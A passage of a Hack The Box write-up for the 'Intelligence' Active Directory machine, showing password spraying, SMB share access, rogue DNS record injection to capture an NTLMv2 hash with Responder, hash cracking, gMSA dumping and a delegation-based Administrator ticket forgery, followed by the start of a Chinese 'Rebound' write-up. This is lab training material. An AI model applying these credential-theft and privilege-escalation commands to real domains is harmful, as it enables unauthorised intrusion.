SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jose.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\John.Coleman:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Anita.Roberts:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Brian.Baker:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jose.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\David.Mcbride:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Kelly.Long:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\John.Coleman:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jose.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Nicole.Brock:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Thomas.Valenzuela:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\David.Reed:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Kaitlyn.Zimmerman:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jason.Patterson:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Thomas.Valenzuela:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\David.Mcbride:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Darryl.Harris:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Stephanie.Young:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\David.Reed:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Nicole.Brock:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\David.Mcbride:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Stephanie.Young:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\John.Coleman:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\David.Wilson:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Scott.Scott:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Teresa.Williamson:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\John.Coleman:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Veronica.Patel:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\John.Coleman:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Samuel.Richardson:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Ian.Duncan:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Nicole.Brock:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\William.Lee:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jason.Wright:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Travis.Evans:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\David.Mcbride:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jessica.Moody:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Ian.Duncan:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Jason.Wright:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [-] intelligence.htb\Richard.Williams:NewIntelligenceCorpUser9876 STATUS_LOGON_FAILURE 
SMB         10.10.10.248    445    DC               [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
```
Look like we have password for Tiffany.Molina

#### smbmap

``` bash
[\] Working on it...
[+] IP: intelligence.htb:445	Name: unknown                                           
[-] Working on it...
                                
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	.\IPC$\*
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	InitShutdown
	fr--r--r--                4 Sun Dec 31 23:58:45 1600	lsass
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	ntsvcs
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	scerpc
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-39c-0
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	epmapper
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-1b8-0
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	LSM_API_service
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	eventlog
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-394-0
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	atsvc
	fr--r--r--                4 Sun Dec 31 23:58:45 1600	wkssvc
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-258-0
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-4e8-0
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-258-1
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	RpcProxy\49677
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	01c597a227e270af
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	RpcProxy\593
	fr--r--r--                5 Sun Dec 31 23:58:45 1600	srvsvc
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	efsrpc
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	netdfs
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	vgauth-service
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-240-0
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	W32TIME_ALT
	fr--r--r--                3 Sun Dec 31 23:58:45 1600	cert
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-9f0-0
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-a7c-0
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
	fr--r--r--                1 Sun Dec 31 23:58:45 1600	Winsock2\CatalogChangeListener-a50-0
	IT                                                	READ ONLY	
	.\IT\*
	dr--r--r--                0 Mon Apr 19 01:50:58 2021	.
	dr--r--r--                0 Mon Apr 19 01:50:58 2021	..
	fr--r--r--             1046 Mon Apr 19 01:50:58 2021	downdetector.ps1
	NETLOGON                                          	READ ONLY	Logon server share 
	.\NETLOGON\*
	dr--r--r--                0 Mon Apr 19 01:42:14 2021	.
	dr--r--r--                0 Mon Apr 19 01:42:14 2021	..
	SYSVOL                                            	READ ONLY	Logon server share 
	.\SYSVOL\*
	dr--r--r--                0 Mon Apr 19 01:42:14 2021	.
	dr--r--r--                0 Mon Apr 19 01:42:14 2021	..
	dr--r--r--                0 Mon Apr 19 01:42:14 2021	intelligence.htb
	Users                                             	READ ONLY	
	.\Users\*
	dw--w--w--                0 Mon Apr 19 02:20:26 2021	.
	dw--w--w--                0 Mon Apr 19 02:20:26 2021	..
	dr--r--r--                0 Mon Apr 19 01:18:39 2021	Administrator
	dr--r--r--                0 Mon Apr 19 04:16:30 2021	All Users
	dw--w--w--                0 Mon Apr 19 03:17:40 2021	Default
	dr--r--r--                0 Mon Apr 19 04:16:30 2021	Default User
	fr--r--r--              174 Mon Apr 19 04:15:17 2021	desktop.ini
	dw--w--w--                0 Mon Apr 19 01:18:39 2021	Public
	dr--r--r--                0 Mon Apr 19 02:20:26 2021	Ted.Graves
	dr--r--r--                0 Mon Apr 19 01:51:46 2021	Tiffany.Molina
```

We have access to few of the shares so let's try and access those.

#### User.txt

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# smbclient //intelligence.htb/Users -U 'Tiffany.Molina'
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> cd Tiffany.Molina\Desktop\
smb: \Tiffany.Molina\Desktop\> get user.txt
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \Tiffany.Molina\Desktop\> quit
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# cat user.txt 
6fd023d238f2d2a63ecb521504fc1dd3
```
Now you have user.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2013.jpg)

#### PrivESC
#### Enumeration

The share that looked intresting to me was IT, so let's look into that.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# smbclient //intelligence.htb/IT -U 'Tiffany.Molina'
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Apr 18 20:50:55 2021
  ..                                  D        0  Sun Apr 18 20:50:55 2021
  downdetector.ps1                    A     1046  Sun Apr 18 20:50:55 2021

                3770367 blocks of size 4096. 1463495 blocks available
smb: \> get downdetector.ps1
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (1.3 KiloBytes/sec) (average 1.3 KiloBytes/sec)
```

Looks like we have a powershell script let's explore it.

``` powershell
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
}
} catch {}
}
```

Looks like we have the cronjob kind of thing running every five minutes we can see that it makes a request to webserver if we can bypass the check for validation which will be pretty easy as it uses web* as validation so not much problem there.

Now so I think that if we can add a dns in the record we can get the Ted.Graves hash using responder.

Basically the login behind this is simple we add the dns record and then the Ted will see if that record responds back or not and as soon as Ted checks that record we will get his hash in responder.

``` bash
kali@kali:~/HackTheBox/Intelligence$ sudo python /usr/share/responder/Responder.py -I tun0 -A                                                                         
                                         __                                                                                                                           
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.                                                                                                              
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|                                                                                                              
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|                                                                                                                
                   |__|                                                                                                                                               
 
           NBT-NS, LLMNR & MDNS Responder 3.0.2.0                 
  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C 
/!\ Warning: files/AccessDenied.html: file not found
/!\ Warning: files/BindShell.exe: file not found                                                                                                                      
 
[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]
	
[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
	POP3 server                [ON] 
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [ON]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.14]
    Challenge set              [1122334455667788]
    Don't Respond To Names     ['ISATAP']



[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.
[Analyze mode: ICMP] You can ICMP Redirect on this network.
[Analyze mode: ICMP] This workstation (10.10.14.14) is not on the same subnet than the DNS server (<--SNIP--->).
[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.
[Analyze mode: ICMP] You can ICMP Redirect on this network.
[Analyze mode: ICMP] This workstation (10.10.14.14) is not on the same subnet than the DNS server (<---SNIP---->).
[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.
[+] Listening for events..
```

Now let's try and use dnstool to deal with DNS records.
you can find the dnstool over here.

 - [krbrelayx](https://github.com/dirkjanm/krbrelayx.git)

You can install it like below.

``` bash
kali@kali:~/HackTheBox/Intelligence$ git clone https://github.com/dirkjanm/krbrelayx.git
Cloning into 'krbrelayx'...
remote: Enumerating objects: 98, done.
remote: Total 98 (delta 0), reused 0 (delta 0), pack-reused 98
Unpacking objects: 100% (98/98), 65.74 KiB | 474.00 KiB/s, done.
kali@kali:~/HackTheBox/Intelligence$ cd krbrelayx/
kali@kali:~/HackTheBox/Intelligence/krbrelayx$ ls
addspn.py  dnstool.py  krbrelayx.py  lib  LICENSE  printerbug.py  README.md
┌──(root💀kali)-[~/krbrelayx]
└─# python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -a add -r 'weboops.intelligence.htb' -d 10.10.14.6 10.10.10.248
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
/root/krbrelayx/dnstool.py:241: DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
  res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully
```

Now we our record in DNS so let's wait for hash in responder.
Note this may take up to 5 mins so be patient.

``` bash
[HTTP] NTLMv2 Client   : 10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:37c9f1a5fd8546ff:1E0D7AFAA686BD619EA26FDB77D8DCD8:010100000000000063FBFF768775D7010792963655F4E95300000000020008004200310054004B0001001E00570049004E002D00320034004800500058004900390058004C0036004B00040014004200310054004B002E004C004F00430041004C0003003400570049004E002D00320034004800500058004900390058004C0036004B002E004200310054004B002E004C004F00430041004C00050014004200310054004B002E004C004F00430041004C0008003000300000000000000000000000002000009B97627A224CC43FDB02F82503B8A278F65DE3C1A1FAE4A1DC244143C2FF45020A0010000000000000000000000000000000000009003A0048005400540050002F007700650062006F006F00700073002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
```

Now we have the hash for Ted.Graves let's try and crack it.
Over here I have used john you can also use hashcat for the same and there are also online cracker if you prefer that.

``` bash
kali@kali:~/HackTheBox/Intelligence/krbrelayx$ sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt
[sudo] password for kali: 
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Mr.Teddy         (Ted.Graves)
1g 0:00:00:23 DONE (2021-07-04 18:17) 0.04170g/s 450978p/s 450978c/s 450978C/s Mrz.deltasigma..Mr BOB
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
```

Now we have the password for Ted.Graves
So let's enumerate the ldap as we already know we don't have much on share.
I got this tool from the link

 - [gMSADumper](https://github.com/micahvandeusen/gMSADumper)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence/gMSADumper-main]
└─# python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb                                                           
svc_int$:::d64b83fe606e6d3005e20ce0ee932fe2
```

we have a hash but unfortunately it's not in rockyou.txt

``` bash
kali@kali:~/HackTheBox/Intelligence/gMSADumper$ sudo john new --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (NT [MD4 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:04 DONE (2021-07-04 18:30) 0g/s 3431Kp/s 3431Kc/s 3431KC/s      markinho..*7¡Vamos!
Session completed
```

So now the other option is to get the kerberos ticket using that hash.
Famously or INFamously known as silver ticket attack on AD.
So you can search Silver Ticket attack on Active Directory to learn more.
Let's try that.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence/gMSADumper-main]
└─# python3 getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
```

It gives me error for the clock skew which is normal if you are familiar with Active Directory you just have to sync time between the server and machine.
So let's use ntpdate to do that.
if you don't have ntpdate you can install it using

``` bash
sudo apt-get install ntpdate
```

then run the command

``` bash
sudo ntpdate 10.10.10.248
```

Now the clock skew has been fixed let's try silver ticket attack again.
If the time doesn't change try the following

``` bash
sudo apt-get install chrony
sudo timedatectl set-ntp true
sudo ntpdate 10.10.10.248
```

And now run the command

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence/gMSADumper-main]
└─# python3 getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
```

Now let's use that ticket to authenticate.

``` bash
kali@kali:~/HackTheBox/Intelligence$ smbclient.py -k intelligence.htb/Administrator@dc.intelligence.htb -no-pass 
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

Type help for list of commands
# shares
ADMIN$
C$
IPC$
IT
NETLOGON
SYSVOL
Users
# use Users
# ls
drw-rw-rw-          0  Mon Apr 19 02:20:26 2021 .
drw-rw-rw-          0  Mon Apr 19 02:20:26 2021 ..
drw-rw-rw-          0  Mon Apr 19 01:18:39 2021 Administrator
drw-rw-rw-          0  Mon Apr 19 04:16:30 2021 All Users
drw-rw-rw-          0  Mon Apr 19 03:17:40 2021 Default
drw-rw-rw-          0  Mon Apr 19 04:16:30 2021 Default User
-rw-rw-rw-        174  Mon Apr 19 04:15:17 2021 desktop.ini
drw-rw-rw-          0  Mon Apr 19 01:18:39 2021 Public
drw-rw-rw-          0  Mon Apr 19 02:20:26 2021 Ted.Graves
drw-rw-rw-          0  Mon Apr 19 01:51:46 2021 Tiffany.Molina
# cd Administrator
# cd Desktop
# get root.txt
```

So now we root so let's get all the flags.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# cat root.txt                                                                                                                  
5a582f5f16388c9959ef6d4b3dcbe914
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2014.jpg)

or you can use:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# python3 atexec.py -k -no-pass dc.intelligence.htb 'whoami'
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[!] This will work ONLY on Windows >= Vista
[*] Creating task \krUvePvx
[*] Running task \krUvePvx
[*] Deleting task \krUvePvx
[*] Attempting to read ADMIN$\Temp\krUvePvx.tmp
nt authority\system
┌──(root💀kali)-[~/hackthebox/machine/intelligence]
└─# python3 atexec.py -k -no-pass dc.intelligence.htb 'type C:\Users\Administrator\Desktop\root.txt'
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[!] This will work ONLY on Windows >= Vista
[*] Creating task \ocxiGfwW
[*] Running task \ocxiGfwW
[*] Deleting task \ocxiGfwW
[*] Attempting to read ADMIN$\Temp\ocxiGfwW.tmp
5a582f5f16388c9959ef6d4b3dcbe914
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2015.jpg)

#### Summary of knowledge

 - SMB enumeration
 - LDAP enumeration
 - write python script to batch download and extract data
 - brute Kerberos by using kerbrute and crackmapexec
 - add dns record by using krbrelayx's dnstool then use responder get NTLMv2 Hash
 - crack NTLMv2 hash with john
 - use gMSADumper get svc_int's hash
 - sync time between the server and machine by using ntpdate and chrony
 - use getST.py to get Administrator.ccache to perform a Silver Ticket attack
 - use smbclient.py or atexec.py and Silver Ticket to get user and root flag

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end intelligence -->

</details>

<a id="case-rebound"></a>

## 对象继承、跨会话 Relay 与 RBCD

原文连贯记录 RID、AS-REP、ACL、Shadow Credentials、跨会话 Relay 和 gMSA。KCD 与 RBCD 的票据处理、channel binding 错误和失败分支均可回查。

<p class="kb-provenance">来源 rebound · 原记录 2024-04-01 · 35 个代码块 · 14 处图片引用</p>

<details class="kb-evidence" id="record-rebound">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start rebound -->

#### 简述

本文是Insane难度的HTB Rebound机器的域渗透部分，其中RID cycling + AS-REP-Roasting with Kerberoasting + Weak ACLs + ShadowCredentials attack + cross-session relay + Runascs and KrbRelay read gMSA password + Resource-Based Constrained Delegation (RBCD) + S4U2Self & S4U2Proxy等域渗透提权细节是此box的特色，主要参考[0xdf's blog rebound walkthrough](https://0xdf.gitlab.io/2024/03/30/htb-rebound.html)和[HTB的rebound官方writeup paper](https://app.hackthebox.com/machines/Rebound/writeups)记录这篇博客加深记忆和理解，及供后续做深入研究查阅，备忘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/rebound0.png)



#### 信息收集

``` bash
nmap -p- --min-rate 10000 10.10.11.231

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49676/tcp open  unknown
49681/tcp open  unknown
49688/tcp open  unknown
49724/tcp open  unknown
55738/tcp open  unknown

nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sCV 10.10.11.231

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-17 23:09:17Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after:  2024-08-24T22:48:10
|_ssl-date: 2024-03-17T23:11:51+00:00; -1s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after:  2024-08-24T22:48:10
|_ssl-date: 2024-03-17T23:11:50+00:00; -2s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after:  2024-08-24T22:48:10
|_ssl-date: 2024-03-17T23:11:51+00:00; -1s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: rebound.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.rebound.htb
| Not valid before: 2023-08-25T22:48:10
|_Not valid after:  2024-08-24T22:48:10
|_ssl-date: 2024-03-17T23:11:50+00:00; -2s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/17%Time=65F77824%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
```

开放389，636 ldap端口，很明显是一个windows域控

#### RID cycling

首先尝试smb列出共享

``` bash
┌─[root@kali] - [~/hackthebox/machine/rebound] - [2540]
└─[$] smbclient -L \\\\10.10.11.231\\                                                                                                                [20:23:17]
Password for [WORKGROUP\root]: anonymous

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        Shared          Disk
        SYSVOL          Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.231 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

只有Shared共享可用——尽管它是空的。考虑到可以匿名登录，尝试通过Impacket的lookupsid.py枚举用户，它使用暴力查找现有用户的[安全标识符(SID)](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers)。它通过循环遍历相对标识符(rid)来实现这一点，rid与域的SID连接以形成整个SID。根据参考文档:

***对于域帐户，通过将域的SID与帐户的相对标识符(RID)连接来创建安全主体的SID。***

运行impacket-lookupsid，在目标IP地址前加上任意的用户名:

``` bash
┌─[root@kali] - [~/hackthebox/machine/rebound] - [2541]
└─[$] impacket-lookupsid nan@10.10.11.231 -no-pass                                                                                                   [20:24:28]
Impacket for Exegol - v0.10.1.dev1+20240403.124027.3e5f85b - Copyright 2022 Fortra - forked by ThePorgs

[*] Brute forcing SIDs at 10.10.11.231
[*] StringBinding ncacn_np:10.10.11.231[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: rebound\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: rebound\Administrator (SidTypeUser)
501: rebound\Guest (SidTypeUser)
502: rebound\krbtgt (SidTypeUser)
512: rebound\Domain Admins (SidTypeGroup)
513: rebound\Domain Users (SidTypeGroup)
514: rebound\Domain Guests (SidTypeGroup)
515: rebound\Domain Computers (SidTypeGroup)
